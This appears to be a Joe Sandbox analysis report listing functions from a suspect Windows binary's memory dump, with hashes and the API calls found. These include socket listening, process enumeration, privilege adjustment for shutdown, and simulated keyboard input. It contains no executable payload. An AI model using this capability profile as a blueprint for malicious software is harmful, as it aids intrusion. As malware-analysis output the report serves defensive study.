Opcode ID: 544550a8b8bebef871ecbf55a9f626be7822ad7613cdd966b5105e0c0cfc1577
Instruction ID: a71db15fe4bfdb3e92c047dcd5fb88baafc4de3e66a386079a4afaca13e174a1
Opcode Fuzzy Hash: 544550a8b8bebef871ecbf55a9f626be7822ad7613cdd966b5105e0c0cfc1577
Instruction Fuzzy Hash: 95415C7194021AAFCF54DFA4CC59AEEBBB4FF19310F144456E815A2291EB309A94CFB0

Function 00D48CA0 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1058COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00D48FDD
VUUU, xrefs: 00DCC736
ERCP, xrefs: 00D48D68
VUUU, xrefs: 00D48FCB
VUUU, xrefs: 00D4900A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 7dbad8315e41b8918c5a4563805042342fc8147779042348b3846f5bc53f5f9a
Instruction ID: fd4ad38d345abb3e75835ffcc5772048e96cc6af11bffa9419b7e24e318a77d7
Opcode Fuzzy Hash: 7dbad8315e41b8918c5a4563805042342fc8147779042348b3846f5bc53f5f9a
Instruction Fuzzy Hash: 4E928F71E1021ACBDF24CF59C894BAEB7B1BB54314F1842AAE95AA7280D770DD81DF70

Function 00D48530 Relevance: 11.0, APIs: 7, Instructions: 531COMMON

Download Yara Rule

APIs

Part of subcall function 00D4A2FB: _memmove.LIBCMT ref: 00D4A33D

_memmove.LIBCMT ref: 00D48672
_memmove.LIBCMT ref: 00D486C2
_memmove.LIBCMT ref: 00D48728

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 0a53a14f654069ae71108865adf1d6d53138d76d356ba5f85f83aeb07978c546
Instruction ID: 9e96c5ef76ee24f236c02b6fc1368a87f36ee1f9e3c374a9048d360cc7e40ce1
Opcode Fuzzy Hash: 0a53a14f654069ae71108865adf1d6d53138d76d356ba5f85f83aeb07978c546
Instruction Fuzzy Hash: 47127971A00609DBDF04DFA9D991AEEB7F5FF48300F248569E846E7250EB35A911CB70

Function 00D882D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7BEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D7BF0F
Part of subcall function 00D7BEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D7BF3C
Part of subcall function 00D7BEC3: GetLastError.KERNEL32 ref: 00D7BF49

ExitWindowsEx.USER32(?,00000000), ref: 00D8830C

Strings

, xrefs: 00D882FA
@, xrefs: 00D882FF
SeShutdownPrivilege, xrefs: 00D882DA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: bea38faef56d385eb61e99884c10b69ff3340a5c3b86f0dabd2343bf341b8510
Instruction ID: 8194ef7593ffae7305edd33a986d657f0a8f59dd548ef1b3d93cba153697a144
Opcode Fuzzy Hash: bea38faef56d385eb61e99884c10b69ff3340a5c3b86f0dabd2343bf341b8510
Instruction Fuzzy Hash: 7001A771650316ABE76836789C4AFBB7658DB11F91F580425F953D11D1EE609C00A3B4

Function 00D991DC Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00D99235
WSAGetLastError.WSOCK32(00000000), ref: 00D99244
bind.WSOCK32(00000000,?,00000010), ref: 00D99260
listen.WSOCK32(00000000,00000005), ref: 00D9926F
WSAGetLastError.WSOCK32(00000000), ref: 00D99289
closesocket.WSOCK32(00000000,00000000), ref: 00D9929D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 18340c8c51257ff6d899d0cfa64f59daaee1e6907fb55617184201ca596c0738
Instruction ID: 4aee355aedeca4f78c36052ba8f9d4cd4961fe389899513ae94bed8a2678fcef
Opcode Fuzzy Hash: 18340c8c51257ff6d899d0cfa64f59daaee1e6907fb55617184201ca596c0738
Instruction Fuzzy Hash: 94217A35600201AFCB10EF68CC95B6EB7AAEF44724F148169F956AB3D1DB30AD45CB71

Function 00D86F5B Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00D86F7D
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00D86F8D
Process32NextW.KERNEL32(00000000,0000022C), ref: 00D86FAC
__wsplitpath.LIBCMT ref: 00D86FD0
_wcscat.LIBCMT ref: 00D86FE3
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00D87022

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: 19ca042cc2d7121af1b0bf88d3a1340d476bf14bc3c3357918071d752ab206f7
Instruction ID: dac83a2872410f8dd56032043d9839e6c84f38e8c55ae253ae340fbeaaa44a91
Opcode Fuzzy Hash: 19ca042cc2d7121af1b0bf88d3a1340d476bf14bc3c3357918071d752ab206f7
Instruction Fuzzy Hash: 96218E71904219ABDB11ABA0CC88FEEB7BDAB49304F2404A9F645E3241E771DF84CB71

Function 00D4A0C0 Relevance: 8.0, APIs: 5, Instructions: 514COMMON

Download Yara Rule

APIs

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

_memmove.LIBCMT ref: 00DB3020
_memmove.LIBCMT ref: 00DB3135
_memmove.LIBCMT ref: 00DB31DC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 12d61fdcc38582c8df5f2a5610d27c1a154e73a36e1c04d571b1eeb1dc6e8bed
Instruction ID: 4820c76ee3a99d294223c35245aea32472f6169b3d10a5c920980871261f508f
Opcode Fuzzy Hash: 12d61fdcc38582c8df5f2a5610d27c1a154e73a36e1c04d571b1eeb1dc6e8bed
Instruction Fuzzy Hash: B3029E71A00209EBDF04DF68C981ABEBBF5EF48340F148069E806DB255EB35DA15DBB5

Function 00D996E2 Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9ACD3: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D9ACF5

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 00D9973D
WSAGetLastError.WSOCK32(00000000,00000000), ref: 00D99760

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: cd37f80fc387601be58bbf0f2b2763be3505f55f4b8e3f66d7dcfcaa6f663e44
Instruction ID: 5c818838aeaaee64cd333d8f678661e365987a2c7be29bbe2e7630a8ed28c717
Opcode Fuzzy Hash: cd37f80fc387601be58bbf0f2b2763be3505f55f4b8e3f66d7dcfcaa6f663e44
Instruction Fuzzy Hash: 29419E74600201AFDB10AF68CC82E7EB7EAEF44764F14805CF956AB392DA749D058BB1

Function 00D8F350 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00D8F37A
_wcscmp.LIBCMT ref: 00D8F3AA
_wcscmp.LIBCMT ref: 00D8F3BF
FindNextFileW.KERNEL32(00000000,?), ref: 00D8F3D0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00D8F3FE

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 547c1eb6d3483b71db195a4eb33fddd83477e8f261747aa05aef2348d56e08c8
Instruction ID: 31a3e7842cebf76a275901f7acd2e44df1105b58321be4b7671e287f6fdbe601
Opcode Fuzzy Hash: 547c1eb6d3483b71db195a4eb33fddd83477e8f261747aa05aef2348d56e08c8
Instruction Fuzzy Hash: 71418E356047029FCB04EF68C490E9AB7E5FF49324F14416EE95ACB3A1DB31A945CBB1

Function 00DA7F0E Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00DA7F5D
IsWindowEnabled.USER32 ref: 00DA7F6B
GetForegroundWindow.USER32(?,?,00000001), ref: 00DA7F78
IsIconic.USER32 ref: 00DA7F86
IsZoomed.USER32 ref: 00DA7F94

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b241ea8ca5b33fc847ffa368ec3f57cfbef26cfda4de83b9cf622f34bd4c9700
Instruction ID: df7ead4a3539d5ec07f748d63a2948552cd9a4f747a47e84806afc67fde806ed
Opcode Fuzzy Hash: b241ea8ca5b33fc847ffa368ec3f57cfbef26cfda4de83b9cf622f34bd4c9700
Instruction Fuzzy Hash: B811E3317482126FEB205F26DC44B2E7B9AFF86761B084429F846D3280DB34DE018AB0

Function 00DA20F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00DA20EC,?,00DA22E0), ref: 00DA2104
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00DA2116

Strings

GetProcessId, xrefs: 00DA2110
kernel32.dll, xrefs: 00DA20FF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: ab2efbeddf65bb14e8c33634e001a255e0717e4392387a8bca64521e5a863cc6
Instruction ID: ab1ebb16c0130f44b17c8b7314d012f55779ae72bbfcbdc4b4d6ac5a5f82c894
Opcode Fuzzy Hash: ab2efbeddf65bb14e8c33634e001a255e0717e4392387a8bca64521e5a863cc6
Instruction Fuzzy Hash: 19D0A7744003138FD7206F66EC0EA2236E4AB04314B19842DE749D1394D770C480CA70

Function 00D84342 Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00D8439C
SetKeyboardState.USER32(00000080,?,00000001), ref: 00D843B8
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00D84425
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00D84483

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2555cad77678ad10ed81e681946858394cd725cc38e830181e53b1c6f6c3d3f6
Instruction ID: a4f183dbd2893b3a70b1653705de1aa402d4b8ae88d1e790a95dba31133f3a19
Opcode Fuzzy Hash: 2555cad77678ad10ed81e681946858394cd725cc38e830181e53b1c6f6c3d3f6
Instruction Fuzzy Hash: 464129B094035AAAEF20AB69D804BFE7BB9AB45715F08015AF4C5932C1C7F4C985D771

Function 00D8220C Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00D8221E

Strings

(, xrefs: 00D82264
|, xrefs: 00D8224E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 35b3873e47128828eb0fc1b838e12f2db0264051cae96caf4f9305cf84b1ba7d
Instruction ID: cadd743491b77c22a942fe2d027633b05a1f728aa871b12243567f30d811564d
Opcode Fuzzy Hash: 35b3873e47128828eb0fc1b838e12f2db0264051cae96caf4f9305cf84b1ba7d
Instruction Fuzzy Hash: ED322375A007059FCB28DF69C491A6AB7F0FF48320B15C46EE49ADB3A1E770E941CB64

Function 00D5AD5C Relevance: 4.9, APIs: 3, Instructions: 378COMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

DefDlgProcW.USER32(?,?,?,?,?), ref: 00D5AE5E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LongProcWindow
String ID:
API String ID: 3265722593-0
Opcode ID: d6f3b09d8b56cffc7b2c5fc4241fc7aa46305148dfc9591697311aaa5e831526
Instruction ID: 59bc7174908264665a491473541fd56eba26a5a39c857c296401a1e8e4f9aa80
Opcode Fuzzy Hash: d6f3b09d8b56cffc7b2c5fc4241fc7aa46305148dfc9591697311aaa5e831526
Instruction Fuzzy Hash: ABA12960204225FADF28AB2D5C8ADBF399CDF46342B18472AFC83D6191DE25CD099273

Function 00D9550C Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00D94A1E,00000000), ref: 00D955FD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00D95629

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: e01c4accb78d684a13288c9da6a2e885e161d7db98421cbe4edcc2b4976d9cd5
Instruction ID: e0d38692d7a424499230af1271f9cecf5e1d661e81de47fe672624f19c2092c9
Opcode Fuzzy Hash: e01c4accb78d684a13288c9da6a2e885e161d7db98421cbe4edcc2b4976d9cd5
Instruction Fuzzy Hash: 9741F271600609BFEF129E90EC85EBFB7BDEB40318F14407AF606A6185EA709E419B74

Function 00D8EA85 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D8EA95
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00D8EAEF
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00D8EB3C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 33a0fa379edc42c46823d6d044b44ce6afef72cd7bbd0fdc4aaf90a368185f46
Instruction ID: 24489b02c63fd10aac0e704a738f647cc65b98c1b48d6d34edf2b00f133dcea6
Opcode Fuzzy Hash: 33a0fa379edc42c46823d6d044b44ce6afef72cd7bbd0fdc4aaf90a368185f46
Instruction Fuzzy Hash: 2C213B35A00209EFCB00EFA5D894AADFBB9FF49310F1480A9E805E7351DB31E905CB60

Function 00D7BEC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D7BF0F
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D7BF3C
GetLastError.KERNEL32 ref: 00D7BF49

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: fec51e79803a0abb7ae3494c2d07b1a04b9e596cde656a5925071cf946d19c93
Instruction ID: 0a24b9eddd7a48c7cf8085ab10ceb063fd5cabc6a216f4b9e7ff269dd8999df1
Opcode Fuzzy Hash: fec51e79803a0abb7ae3494c2d07b1a04b9e596cde656a5925071cf946d19c93
Instruction Fuzzy Hash: 75116DB1514305AFD718AF54DCC5D6BFBA9EF44720B20852EE49A97251EB71EC408A30

Function 00D870AE Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00D870D8
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00D87115
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00D8711E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 499c9722326c8014de564b3fcc8b4eb2de6e0c19b06d665d5db3b72f80f8f7c5
Instruction ID: 0ecc60a66f7de3367bc45c87da60758ecf4ce6b9c4f6255fb22906bb7e414efa
Opcode Fuzzy Hash: 499c9722326c8014de564b3fcc8b4eb2de6e0c19b06d665d5db3b72f80f8f7c5
Instruction Fuzzy Hash: 6111A5B190032ABEE7109BA8DC49FAFB7BCEB08754F104555B901E7190D2789E0487F1

Function 00D7BE31 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00D7BE5A
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00D7BE71
FreeSid.ADVAPI32(?), ref: 00D7BE81

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
